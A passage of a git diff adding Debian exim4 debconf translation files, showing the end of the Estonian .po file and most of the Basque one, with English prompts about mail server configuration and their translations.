mugavamat " +"väikeste muutuste haldamist, olles õrnem - võib suurte muudatuste korral " +"katki minna." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Eemaldada väljaminevast postist kohalik postinimi?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +#, fuzzy +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Et e-post paistaks pärinevat mõnest teisest süsteemist, on võimalik " +"väljaminevate kirjade päiseid ümber kirjutada: asendada \"${mailname}\" " +"\"localhost\" ja \"${dc_other_hostnames}\" From, Reply-To, Sender ja Return-" +"Path väljadel." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +#, fuzzy +msgid "Delivery method for local mail:" +msgstr "kirjad saadetakse läbi relee; kohalikke kirju pole" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Tõsta veel edastamata kirjad exim (versioon 3) puhverkataloogist exim4 " +#~ "puhverkataloogi?" + +#, fuzzy +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Exim'i või exim-tls puhverkataloogis /var/spool/exim/input/ on mõned veel " +#~ "edastamata kirjad. Nad võib üle tõsta exim4 puhverkataloogi (/var/spool/" +#~ "exim4/input/), kus hoolitseks nende kohaletoimetamise eest exim4." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Pane tähele, et tegemist on ühesuunalise protsessiga. Exim4 mõistab exim " +#~ "(versioon 3) puhvrit, kuid mitte vastupidi." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Tõsta kirjad ümber juhul, kui ei plaani enam exim (versioon 3) juurde " +#~ "tagasi minna. Vastasel juhul ei tohiks sa kirju praegu ümber tõsta, vaid " +#~ "peaksid seda hiljem käsitsi tegema - siis kui paigaldamine läbi on." + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Kui on veel mõned, sisesta nad koolonitega eraldatult siia. Kui rohkem " +#~ "pole, võid selle välja ka tühjaks jätta." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "Palun sisesta domeenid, millele peab nõustuma kirju edastada (relee)." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Need on domeenid, millele oled nõus kirju kõikjalt internetist " +#~ "edastamiseks vastu võtma. Ära maini siin kohalikke domeene." + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Domeenid tuleks teineteisest koolonitega eraldada. Metamärgid (näiteks *) " +#~ "on lubatud." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Kuna käivitasid kohaliku postinime väljuvatest kirjadest eemaldamise, " +#~ "pead määrama domeeninime, mida kohalike kasutajate kirjade juures " +#~ "tarvitada. Ãœldjuhul on see põhiliselt posti vastu võtva masina nimi." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Kus su kasutajad oma kirju loevad?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "Selle võrgukoha väljuvaid kirju edastav masin:" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "Sisesta väljaminevaid kirju edastava masina võrgunimi." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Käivita see teenus vaid juhul, kui kasutad nõudmisel " +#~ "sissehelistamisteenust." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Vali sulle kõige paremini sobiv seadistustüüp." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "" +#~ "Kui sa ei tea kumba valida, on kindlam jääda ühe suure faili juurde." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "käsitsi teisendamine kodukootud exim v3 seadistustest" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Seadistada Exim4 käsitsi?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Sul on kodukootud Exim 3 seadistus. Käivita peale paigaldamist tööriist " +#~ "exim_convert4r4(8) - see aitab sul seadistust Exim 4 sobivaks teisendada. " +#~ "Ãœhtlasi loe /usr/share/doc/exim4-base/examples/example.conf.gz ning /usr/" +#~ "share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "Kuni postisüsteemi seadistamiseni on e-post kasutuskõlbmatu." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "Sinu \"postinimi\" on võrgunime osa, mis on näha väljuvates e-kirjades ja " +#~ "uudisgrupipostitustes (peale kasutajanime ja @ märki) kui teda " +#~ "ümberkirjutamise abil ära ei peideta." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Palun sisesta siia masinad, kellelt kõik kirjad edastamiseks vastu võtta." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "See on nimekiri masinatest, millelt tulevad kirjad jaoks on meiliserver " +#~ "edastamiseks vastu võtab." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "IPv6 aadressides pead koolonid kahekordselt kirjutama (näiteks " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Sisesta koolonitega eraldatud IP-aadresside nimekiri, millelt " +#~ "sissetulevaid ühendusi oodata. IPv6 aadressides olevad koolonid pead " +#~ "kirjutama topelt (näiteks 5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Exim v4 (exim4-config) seadistamine" diff --git a/debian/po/eu.po b/debian/po/eu.po new file mode 100644 index 0000000..613ee6e --- /dev/null +++ b/debian/po/eu.po @@ -0,0 +1,657 @@ +# translation of exim4-eu.po to Euskara +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# +# Piarres Beobide Egana <pi@beobide.net>, 2004, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: exim4-eu\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-06-19 09:45+0200\n" +"Last-Translator: Piarres Beobide <pi@beobide.net>\n" +"Language-Team: Euskara <Librezale@librezale.org>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Pootle 0.11\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Ezabatu bidaligabeko hilara direktorioko ePostak?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Oraindik bidali ez diren ePostak daude /var/spool/exim4/input exim hilara " +"direktorioan. Exim ezabatzeak hauek exim berriz instalatu arte bidali gabe " +"geratzea eragingo du." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Aukera hau ez hautatu ezkero, ilara direktorioa mantendu egingo da, mezu " +"ilara beranduago exim instalatzen denean bidaltzeko aukera emanez." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Exim4-config birkonfiguratu pakete honen beharrean" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4-ek bere konfigurazio beste pakete batetan du, exim4-config. Exim4 " +"birkonfiguratu nahi izan ezkero \"dpkg-reconfigure exim4-config\" erabili." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "Internet gunea; eposta SMTP erabiliaz jaso eta bidaltzen da" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "ePosta smarthost-ak bidalia; SMTP edo fetchmail bidez jasoa" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "ePosta smarthost-ak bidalia; ez dago posta lokalik" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "bidalketa lokala bakarrik; ez dago sarean" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "une honetan ez konfiguratu" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Eposta konfiguraketa modu orokorra:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Aukeratu zuk behar duzunerako eposta zerbitzari konfigurazio mota egokiena." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"IP aldakor batetako sistemak, markatze telefoniko bidezkoak barne, normalean " +"kanporako posta \"smarthost\" izeneko beste makina batetara bidaltzeko " +"konfiguratzen dira internet-eko zenbait jasotze sistemek ip aldakorreko " +"posta ukatzen bait dute spam babespen modura." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"IP aldakor bat duen sistemak bere eposta jaso dezake edo bidalketa lokala " +"guztiz ezagaitu (root eta postmaster kontuena ezik)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Benetan ePosta sistema konfiguratu gabe utzi?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Posta sistema konfiguratu arte, apurturik egongo da eta ezingo da erabili. " +"Beranduago eskuz edo root bezala 'dpkg-reconfigure exim4-config' eginez " +"konfigurazioa sortu dezakezu." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Sistema eposta izena:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'ePosta izena' domeinu izena ez duen posta helbideari 'onargarri' egiteko " +"gehituko den domeinu izena da." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Izen hau beste programa batzuek ere erabil dezakete. Berau `guztiz " +"kualifikaturiko domeinu izen osoa (FQDN) izan behar da." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Adibidez, ostalari lokaleko eposta helbidea foo@adibide.org bada, aukera " +"honetako balio zuzena adibide.org da." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Izen hau ez da kanporako mezuetako Nondik: eremuan agertuko berridazketa " +"gaiturik badago." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "eposta beste helburu hauek onartzen dira:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Idatzi puntu eta komaz bereiziriko zerrenda batetan zerbitzari honek lokal " +"bezala onartu behar dituen jasotzeko domeinu zerrenda. Domeinu hauek " +"arruntean \"domeinu lokalak\" bezala ezagutzen dira. Ostalari lokal izenaz " +"(${fqdn}) eta \"localhost\"-ez beti gehitzen dira zerrenda honetara. " + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Lehenespen bezala domeinu guztiak modu berdinean kudeatuko dira. Bai a." +"adibide eta bai b.adibide domeinu lokalak badira, acc@a.adibide eta acc@b." +"adibide helmuga berdinetara birbidaliko dira. Domeinu izenak modu " +"ezberdinean kudeatu behar bada,beharrezko izango da konfigurazio honen " +"ondoren aldatzea." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Eposta birbidaliko zaien domeinuak:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Mesedez sartu puntu eta komaz bereizirik sistema honek birbidali behar " +"dituen domeinu zerrenda, adibidez basbekopiako MX edo posta sare-bidea. " +"Honek domeinu hauetara internetetik bidaliko mezuak onartu eta bidalketa " +"lokal arazuekin kudeatzea eragingo du." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Ez izendatu domeinu lokalak hemen. Komodinak erabili behar dira." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Eposta birbidaliko zaien makinak:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Idatzi makina honek posta birbidali behar duen (smarthost modura " +"funtzionatuz) puntu eta komaz bereiziriko ip helbide eremu zerrenda." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"helbide/aurrizki formatu erabili behar duzu (adib 194.222.242.0/24 edo " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Sistema ha ez bada beste inorentzat \"smarthost\" bezala erabiltzen hutsi " +"ezazu hau." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Erabiltzaile lokalentzat bistaraziko den domeinu izena:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Kanporako mezuetan posta izen lokala ezkutatzeko aukera gaitua zegoen. Honek " +"beranduago makina honek erabiltzaile lokalen bidaltzaile eremuan erabili " +"behar den domeinu izen zatia ezartze beharrezko egiten du" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Irteera smarthost-eko IP helbide edo ostalari izena:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Idatzi sistema honek kanporako smarthost moduan erabiliko den posta " +"zerbitzariaren IP helbide edo ostalari izena. Smarthost-ak konexioak " +"bakarrik lehenetsiriko TCP/25 ataka ez den beste batetan onartzen baditu " +"gehitu bi puntu bikoitza eta ataka zenbakia (Adibidez ::587 edo " +"192.168.254.254::2525). Bi puntuak IPv6 helbideetan bikoitzu egin behar dira," + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Smarthost-ak autentifikazioa behar ezkero, mesedez begiratu /usr/share/doc/" +"exim4-base/README.Debian.html SMTP autentifikazioa ezartzeko moduaz gehiago " +"jakiteko." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Root eta postmaster eposta jasoko duena:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"\"postmaster\", \"root\", eta beste zenbait kontu lokalen eposta sistema " +"kudeatzailearen erabiltzaile kontura bidali behar da." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Balio hau hutsik utziaz gero, berau gomendatzen ez den /var/mail/mail " +"karpetan gordeko da:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Kontutan izan postmaster kontuaren eposta zuzendua dagoen sisteman irakurri " +"beharko zela, inora berbideratu beharrean, beraz (behintzat hauetako bat) " +"hemen zerrendaturiko erabiltzaileetako posta ez zen makina honetatik kanpora " +"bidali beharko. \"real-\" aurrizkia erabili daiteke bidalketa lokala " +"behartzeko" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Erabiltzaile izenak hutsunez bereizi behar dira." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "SMTP konexioak entzungo dituen IP helbideak:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Mesedez sartu puntu eta komaz bereiziriko IP helbide zerrenda. Exim SMTP " +"deabruak IP helbide hauetan entzungo ditu konexioak." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Hutsik utzi ezkero Exim-ek erabilgarri dauden sare interfaze guztietan " +"entzungo ditu konexioak." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Sistema honek mezuak sistema lokaletik bakarrik jasotzen baditu, fetchmail " +"edo zure eposta programak (MUA) localhost-ekin harremanetan (eta ez beste " +"inondik) bezalakoak, gomendagarria da exim lokalarekiko kanpo konexioak " +"debekatzea. Hau hemen 127.0.0.1 ezarriz lortzen da. Honek interfaze " +"publikoetan konexioak entzuteko gaitasuna ezgaituko du." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Mantendu DNS galdeketak gutxienean (Eskaripeko deia)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Funtzionamentu modu arruntean DNS bilaketa bat egiten du abiaraztean, eta " +"mezuak jaso edo banatzerakoan. Hau erregistrorako bakarrik egiten da eta " +"konfigruazioan kode balioak murrizteko balio du." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Sistema honek ez badu denbora guztian DNS ebazpen zerbitzua (Adibidez " +"internetera telefono bitartez eskaripeko deia erabiliaz) honek esperogabeko " +"eraginak izan ditzake. Adibidez Exim abiarazi edo hilara kudeatu ezkero " +"(nahiz ez mezurik eogn bertan) dei bat egitea eragin dezake." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Aukera hau hautatu behar da sistema honek eskuzko markatzea erabiltzen badu. " +"Beti internetera konektaturik badago aukera hau ezgaitu beharko zenuke." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Eposta Zerbitzari konfigurazioa" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Zatitu konfigurazioa fitxategi txikiagoetan?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian exim4 paketeak \"banatu gabeko konfigurazioa\", fitxategi monolitiko " +"bat (/etc/exim4/exim4.conf.template) edo \"banatutako konfigurazioa\", non " +"konfigurazioa /etc/exim4/conf.d/-en 50 fitxategi txikiagotan banatuta " +"dagoena erabil ditzake." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Banatu gabeko konfigurazio hobea da aldaketa handientzat eta normalean " +"egonkorragoa da, beste aldetik banatutako konfigurazioa aldaketa txikiak " +"egiteko modu egoki eta errazago bat ematen du baina hauskorragoa da eta " +"hondatu daiteke kontu handiaz eraldatu ez ezkero." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Konfigruazio zatitu eta batzeari buruzko argibide gehiago jasotzeko " +"begiratu /usr/share/doc/exim4-base/README.Debian.gz fitxategia." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "ePosta lokal izena ezkutatu kanpora bidaltzerakoan?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Bidaltzen diren mezuen buruak alda daitezke beste sistema batetan sortuak " +"izan direla itxura emateko. Aukera hau hautatu ezkero, \"${mailname}\", " +"\"localhost\" eta \"${dc_other_hostnames}\" Nondik, Erantzun-hona, " +"Bidaltzailea eta Erantzun-bidea eremuetan berridatzi egingo dira." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox formatua /var/mail/-en" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir formatua etxe direktorioan" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Posta lokalaren banaketa metodoa:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim jasotako posta formatu ezberdinetangordetzeko gai da. Formatu " +"erabilienak mbox eta Maildir dira. mbox-ek /var/mail/-en fitxategi arrunt " +"bat erabiltzen du posta guztia gordetzeko. Maildir formatuak mezu bakoitza ~/" +"Maildir/ direktorioko fitxategi batetan gordetzen du." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Kontutan izan Debian lanabes gehienek lehenetsiriko bidalketa modu bezala " +"mbox ezarria izango dutela." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "Bidaligabeko ePostak exim3 hilaratik exim4 hilarara mugitu?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Bidaligabeko zenbait posta daude /var/spool/exim/input/ exim3 (edo xim-" +#~ "tls3) hilara direktorioan." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Aukera hau hautatuaz mezu horiek exim4 hilarara mugituko dira (/var/" +#~ 